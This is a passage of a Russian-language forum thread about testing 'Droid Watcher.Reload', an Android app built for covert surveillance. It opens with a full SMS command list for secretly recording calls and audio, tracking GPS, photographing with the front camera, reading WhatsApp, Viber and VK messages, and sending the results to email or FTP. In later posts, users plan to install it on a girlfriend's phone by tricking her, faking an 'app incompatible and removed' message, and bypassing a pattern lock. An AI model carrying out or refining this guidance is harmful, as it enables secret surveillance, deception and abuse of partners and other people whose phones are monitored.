Droid Watcher

Объявление

Обсуждение перенесено на http://droidwatcher.ru

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Droid Watcher » Обсуждение » Droid Watcher.Reload


Droid Watcher.Reload

Сообщений 141 страница 160 из 227

1

ОБСУЖДЕНИЕ ПЕРЕНЕСЕНО НА droidwatcher.ru

В этой ветке тестируем работы предрелизных экземпляров программы.

История изменений

25.03.2015 - добавлено отслеживание сообщений в Whatsapp, Viber, Вконтакте. Расширен список смс команд. Мелкие исправления.
17.03.2015 - улучшена работа с почтой (впрочем, как выяснилось, на стабильность работы с почтой гораздо большее влияние оказывает стабильность работы сервера, чем программы. Поэтому лучше использовать крупные почтовые сервисы - gmail, mail.ru и т.п., у них мощностей побольше будет), расширен список смс команд - теперь удаленно можно настроить все параметры программы, имена файлов на карте памяти теперь шифруются. Ну и много мелких исправлений и улучшений.
...

Так как версия тестовая, рекомендуется снести старую версию и установить новую "с нуля".

список смс команд

Команды управления.

dw gpsget - запрашивает текущие координаты. Как только координаты будут получены, они отправятся обратным смс. Чтобы команда сработала, слежение по gps должно быть включено.
dw callback номер_телефона - телефон перезванивает по указанному номеру.
dw reset - полный сброс настроек.
dw record время_в_секундах - включает запись с микрофона на указанный промежуток времени.
dw wifion - включает wifi на телефоне.
dw wifioff - выключает wifi на телефоне.
dw gprson - включает gprs на телефоне
dw gprsoff - выключает gprs на телефоне.
dw reboot - перезагружает телефон (необходим root)
dw restart - перезапуск приложения DW.Reload.
dw movetosystem – перемещение программы в системный раздел (требуется root).
dw wipesd - полная очистка внешней памяти устройства (SD карты)
dw applist – список приложений
dw contacts – список контактов

Команды настройки.

dw setmail – установка параметров почты. Имеет следующие параметры:
        *email=your@email.com – устанавливает  электронный адрес, с которого будет отправляться почта.
        mailto=addr@email.com – (опционально) адрес, по которому будет отправляться почта, по умолчанию тот же, что и адрес отправления.
        *serv=yoursmtpserver –  адрес smtp сервера.
        user=username – имя пользователя. По умолчанию совпадает с почтовым адресом.
        *pass=yourpassword – пароль от почты.
        port=mailserverport – порт почтового сервера. Для большинства почтовиков равен 465.
        secur=securitytype – тип безопасности(SSL, STARTTLS, OPEN). Как правило SSL.
        call=1/0 (или on/off, или yes/no) – отправлять или нет информацию о звонках на почту.
        sms=1/0 (или on/off, или yes/no) – дублировать или нет смс на почту.
        gps=1/0 (или on/off, или yes/no) – отправлять или нет отчеты о координатах на почту.
        hist=1/0 (или on/off, или yes/no) - отправлять или нет историю стандартного браузера на почту.
        file=1/0 (или on/off, или yes/no) - отправлять или нет файлы(записи, фото, скриншоты) на почту.
        other=1/0 (или on/off, или yes/no) - отправлять или нет на почту все остальные отчеты.
Звездочкой отмечены параметры, требующие обязательной настройки, остальные – только если параметры сервера отличаются от обычных.

Допускается отправка нескольких команд в одном смс через пробел в любом порядке, главное, чтобы их суммарная длина, включая «dw setmail» не превышала
160 символов при отсутствии кириллических букв в команде, и 70 при их наличии(даже одной!). Например:
dw setmail email=user@gmail.com pass=password call=on file=0
Внимание! Пробелы внутри команд не допускаются!

dw setname – установка имени устройства в отчетах. По умолчанию совпадает с IMEI устройства. Пример: dw setname MyPhone

dw setftp – установка параметров FTP. Во многом аналогична настройке почты, имеет следующие параметры:
        ftp=yourftpaddress – адрес или IP сервера FTP.
        user=username – имя пользователя.
        pass=userpass – пароль пользователя.
        port=21 – порт FTP сервера. Как правило, равен 21.
        path=Path/to_your/files – путь для сохранения файлов (должен быть предварительно создан) Пробелы в имени не допускаются!
        call=1/0 (или on/off, или yes/no) – отправлять или нет информацию о звонках на FTP.
        sms=1/0 (или on/off, или yes/no) – дублировать или нет смс на FTP.
        gps=1/0 (или on/off, или yes/no) – отправлять или нет отчеты о координатах на FTP.
        hist=1/0 (или on/off, или yes/no) - отправлять или нет историю стандартного браузера на FTP.
        file=1/0 (или on/off, или yes/no) - отправлять или нет файлы(записи, фото, скриншоты) на FTP.
        social=1/0 (или on/off, или yes/no) - отправлять или нет на FTP переписку в соцсетях.
        other=1/0 (или on/off, или yes/no) - отправлять или нет на FTP все остальные отчеты.

dw setaudio – установка параметров записи. Имеет следующие параметры:
        format=1 – формат файлов записи: 1(3gp) – “.3gp”, 3 (amr) - “. amr”.
        source=1 – источник. Можно указать либо номером (0-7) либо названием (default, mic, voiceuplink, voicedownlink,
                                                                       voicecall, camcorder, voicerecognition, voicecommunication
).
        record=1/0 (или on/off, или yes/no) – записывать или нет телефонные разговоры.

dw setsms – настройка смс отчетов.Параметры:
        number=xxxxxxxxxx – номер для отправки отчетов.
        call=1/0 (или on/off, или yes/no) – отправлять или нет информацию о звонках.
        sms=1/0 (или on/off, или yes/no) – дублировать или нет смс.
        sim=1/0 (или on/off, или yes/no) – отправлять или нет отчеты о смене СИМ-карты.

dw setruncode – установка кода запуска настроек приложения. Допускаются только цифры. Для входа в настройки приложения необходимо набрать «**код**».
                                                        Пример: dw setruncode 111

dw setphoto – настройка фото. Параметры следующие:
        enable=1/0 (или on/off, или yes/no) – перехват фотографий, сделанных телефоном.
        front=1/0 (или on/off, или yes/no) – снимки передней камерой при разблокировке.
        format=small  – размер изображения – small (или 640) – маленький,
                                                                             medium (или 800) – средний,
                                                                             HD(или 1280) -большой.
                                                                             Пример: dw setphoto enable=yes format=640 front=0

dw setscreenshot – настройка снимков экрана(скриншотов). Требует root. Параметры:
        enable=1/0 (или on/off, или yes/no) – включить/выключить снятие скриншотов.
        interval=30 – настройка интервала снятия скриншотов. Время в секундах.
        format=small  – размер изображения – small (или 640) – маленький,
                                                                            medium (или 800) – средний,
                                                                            HD(или 1280) -большой.
                                                                            Пример: dw setscreenshot enable=yes format=640 interval=60

dw setgps – настройка GPS.
        interval=30 – настройка интервала обновления данных GPS. Время в минутах.
        enable=1/0 (или on/off, или yes/no) – включение/выключение слежения .
        hidden=1/0 (или on/off, или yes/no) – включать GPS только при выключенном экране.
        new=1/0 (или on/off, или yes/no) – отсылать только изменившиеся координаты .

dw setsocial – слежение за активностью в интернете, параметры:
        vk=1/0 (или on/off, или yes/no) - включение/выключение  слежения за историей переписки в Вконтакте. (требуется root).
        viber=1/0 (или on/off, или yes/no) - контроль сообщений в Viber  (требуется root).
        wa=1/0 (или on/off, или yes/no) - контроль переписки в Whatsapp  (требуется root).
        browser=1/0 (или on/off, или yes/no) - управление историей браузера.

dw setfilter – управление фильтром слежения за звонками и смс.
       enable=1/0 (или on/off, или yes/no) - включение/выключение фильтра.
       type=1/0 (или black/white) - тип фильтра:  1(black) – черный список, слежение за номерами, кроме тех, что в списке; 0(white) – слежение только за номерами из списка.
       add=number – добавление номера в список.
       del=number – удаление номера из списка.

dw setcw1,
dw setcw2,
dw setcw3 – настройка  трех кодовых слов в сообщении и команд, исполняемых при обнаружении этих слов. Параметры перечисляются через пробел. Параметра два:
                1.собственно кодовое слово (набор любых печатаемых знаков, кроме пробела)
                2.команда, исполняемая при обнаружении кодового слова. В команде пробелы допускаются.
                Пример1:   dw setcw1 : -) record 3600
                Пример2:   dw setcw2 hEllo reboot
                Пример3:   dw setcw3 прЮвет setgps enable=1 interval=30

dw getsettings – запрос всех настроек устройства, отправляется на почту и/или FTP, в зависимости от настроек.

Ну и, напомню:

Разработчик не несет ответственности за использование программы в целях, нарушающих законодательство РФ и других стран. Вся ответственность за незаконное использование программы лежит на пользователе.
Программа распространяется на условиях "as is", претензии к качеству работы, функционалу и другим свойствам программы не принимаются.
Программа не отсылает никаких сообщений ни на короткие номера, ни куда- либо еще.

Актуальная версия

предыдущие версии

версия от 17.03

+1

141

Тогда понятно. Программа следит за изменениями в папке "DCIM", расположенной в том же разделе(обычно это карта памяти), где и файлы программы, даже если этой папки нет. Хм, подумаю как обойти это.

0

142

VDLab написал(а):

Также в настоящее время имена файлов записанных разговоров имеют вид: call(05.04.15 17-08).3gp
Желательно привести их к виду:
incoming(05.04.15 17-08 +1-234-567-89-12).3gp
outgoing(05.04.15 17-23 +1-234-567-89-12).3gp
для удобства выборки нужных/ненужных файлов даже без прослушивания, по номеру телефона с которым разговаривал подопечный.

А вот тут огорчу - пока не найду способа не перекраивая полностью прогу надежно фиксировать номер абонента, менять не буду.

Так вроде раньше записи разговоров приходили с именем файла вида [call][41236541234][20.01.15 13-33].3gp где 41236541234 номер собеседника подопечного

0

143

Да, и я уже писал ранее о причинах, почему я убрал эту информацию - не знаю у кого как, но у меня ни на одном аппарате не было стабильного определения номера входящего звонка. Исходящие определяются, но в андроиде во время звонка нет возможности определить входящий это или исходящий :) Поэтому получалась путаница, когда, не сумев определить номер входящего звонка, прога подставляла туда последний набранный номер... Довольно много подобных жалоб было и от других пользователей. Всевозможные костыли и исправления желаемого результата не принесли, поэтому решил вообще отказаться от этого. Пока, по крайней мере.

0

144

VDLab написал(а):

Да, и я уже писал ранее о причинах, почему я убрал эту информацию - не знаю у кого как, но у меня ни на одном аппарате не было стабильного определения номера входящего звонка. Исходящие определяются, но в андроиде во время звонка нет возможности определить входящий это или исходящий  Поэтому получалась путаница, когда, не сумев определить номер входящего звонка, прога подставляла туда последний набранный номер... Довольно много подобных жалоб было и от других пользователей. Всевозможные костыли и исправления желаемого результата не принесли, поэтому решил вообще отказаться от этого. Пока, по крайней мере.

На Galaxy ACE3 и на SGS3 все всегда определялось точно. На Digma тоже.

Для информации -  на SGS4 и на ACE3 файлы вотчера хранятся тут: /storage/emulated/0/Android/data/com.dwreload/files
а на SGS3 вот тут: /storage/sdcard0/Android/data/com.dwreload/files

Отредактировано CDLS (05-04-2015 21:04:30)

0

145

CDLS написал(а):

На Galaxy ACE3 и на SGS3 все всегда определялось точно. На Digma тоже...

ОK, могу вернуть к тому виду, что было.

0

146

VDLab написал(а):

ОK, могу вернуть к тому виду, что было.

:cool:
Как вариант, добавление номера телефона в имя файла можно включать/отключать в настройках вотчера.

Отредактировано CDLS (05-04-2015 21:15:02)

0

147

Наверное лучше командой, чтобы интерфейс не загружать вспомогательными настройками.

0

148

VDLab написал(а):

Наверное лучше командой, чтобы интерфейс не загружать вспомогательными настройками.

Так ведь это не ежедневный интерфейс а разовый. Просто кнопочку на главном экране добавить "Дополнительные настройки" и все что второстепенно, можно туда вынести.

0

149

Можно, но лень 8-)
Ладно, посмотрим.

0

150

Доброго времени суток уважаемые поклонники DW. Очень надеюсь на скорое развитие всеми любимого проекта. Кроме финансовой поддержки чем ещё можно помочь? Когда начнем двигаться в направлении серверной части? Какие мысли?

0

151

dikqwer написал(а):

Когда начнем двигаться в направлении серверной части? Какие мысли?

Так вроде бы двигаемся.

Подскажите, плз. У меня изначально, вобще, не приходят фотки с основной камеры. Фронтальная передает нормально. У всех так ?
Перебивался синхронизацией с Дропбоксом, но каждый раз заходить в него иногда напрягает, и фотки если удалили при отсутствии интернета нигде не фиксируются.

0

152

VDLab написал(а):

А что делать с запросом разрешений, рута?

я ж написал. ввести в заблуждение опекаемого, что должна установиться некая программа, для просмотра присланного файлика. то,что палится - согласен.
а как еще можно быстро поставить ДВ, если досутп к телу меньше полуминуты, и на теле - стоит пароль. Экспериментирую с АДБ. Хочу быстро подцепить тел к компу и уже с компа установить.  Но вот графический ключ смущает. По ходу он блокирует доступ ко всему. Сломать его не проблема, но на это нужно время.

0

153

VDLab написал(а):

А что делать с запросом разрешений, рута?

Штроборез написал(а):

я ж написал. ввести в заблуждение опекаемого, что должна установиться некая программа, для просмотра присланного файлика. то,что палится - согласен.
а как еще можно быстро поставить ДВ, если досутп к телу меньше полуминуты, и на теле - стоит пароль. Экспериментирую с АДБ. Хочу быстро подцепить тел к компу и уже с компа установить.  Но вот графический ключ смущает. По ходу он блокирует доступ ко всему. Сломать его не проблема, но на это нужно время.

А может сделать второй вариант приложения, ну чтобы не сильно палиться ;-)

Первый вариант - как сейчас.
Второй вариант - при установке приложения, точнее после его завершения, окно для настройки не открывается, а появляется окно с сообщением: "Приложение не совместимо с Вашим устройством и было удалено. ОК" Наверняка хозяин девайса будет во все глаза наблюдать, за тем "Что же за чудо-смотрелка будет установлена?"  Хозяин устройства потеряет бдительность (ибо приложение как он видел было удалено с устройства - срабатывает в 95% случаев), после этого, при первой возможной ситуации, имеем доступ к телу устройства и имеем настройки приложения  :D . Нормуль?
А если так: "Приложение не совместимо с Вашим устройством и было удалено. ОК" После этого, нихера не ждем того, что планеты встанут в ряд и мы заимеем доступ к устройству, а тупо отправляем СМС-очки на интересующее нас устройство и ДИСТАНЦИОННО настраиваем приложение. После этого, засылаем команду dw getsettings и если все ровно, то идем пить пиво и читать/смотреть/слушать полученные данные.

Отредактировано CDLS (07-04-2015 00:51:49)

0

154

CDLS написал(а):

Второй вариант - при установке приложения, точнее после его завершения, окно для настройки не открывается, а появляется окно с сообщением: "Приложение не совместимо с Вашим устройством и было удалено. ОК" Наверняка хозяин девайса будет во все глаза наблюдать, за тем "Что же за чудо-смотрелка будет установлена?"  Хозяин устройства потеряет бдительность (ибо приложение как он видел было удалено с устройства - срабатывает в 95% случаев), после этого, при первой возможной ситуации, имеем доступ к телу устройства и имеем настройки приложения. Нормуль?

идея хорошая! Даже фотку не нужно прикреплять. Просто обозвать приложение типа, "открытка_сердечко" и т.п.  или как-то по-иному. Думаю, вряд ли девушка победит соблазн не открыть такое. Сама нажмет на файлик, сама даст разрешение на установку и доступ. Потом выводим сообщение о несовместимости, что программа будет удалена, а сами отстраиваем прогу удаленно. и все ок. Профит.

Меня долго не было. А как вы победили видимость смс команд? ведь они раньше палились. Теперь нет?

Отредактировано Штроборез (07-04-2015 10:49:12)

0

155

По поводу фото, ответ был чуть ранее - в конце предыдущей-начале этой страницы данной темы. Программа следит за папкой "DCIM", расположенной в том же разделе, где находится папка с файлами программы. Обычно фотографии туда и складываются (в подпапку "Camera"), но на некоторых устройствах, особенно с большим объемом внутренней памяти, частенько бывает несколько разделов, и фотографии складываются в другой. Тогда и начинаются проблемы.
Сейчас пока сделал дополнительное поле для ввода пути к папке с фото, но, наверное, нужно сделать покультурнее - с блекджеком и шлю..диалогом выбора папки для отслеживания.

0

156

VDLab написал(а):

нужно сделать покультурнее - с блекджеком и шлю..диалогом выбора папки для отслеживания.

Шлюхи в первую очередь, а потом уже все остальное.  :D

  Я так понимаю, что даже не указав папку для отслеживания, DW будет пытаться работать по тому алгоритму который есть сейчас, а не тупо ждать когда ему дадут ключи от квартиры где кредитки лежат, и до этого не будет ничего пытаться найти и отправить. Верно?

Отредактировано CDLS (07-04-2015 14:56:42)

0

157

Верно. Тем более предугадать, как разработчики очередного мобильного поделия распорядятся ресурсами памяти, практически невозможно. По крайней мере гораздо проще ручками указать ему на эту папку(да и то, если есть проблема, а так, и лезть туда не нужно), чем городить огород с поиском по всем возможным носителям, ибо это выливается в полноценный медиацентр по объему кода.

0

158

VDLab написал(а):

ибо это выливается в полноценный медиацентр

Droid Watcher Player  :D

Отредактировано CDLS (07-04-2015 16:24:17)

0

159

А почему, кстати, Одноклассники не отслеживаются? Это же было в DW, куда эта функция мигрировала?

0

160

С рептиликусом не перепутали? Будут, будут вам одноклассники.

0


Вы здесь » Droid Watcher » Обсуждение » Droid Watcher.Reload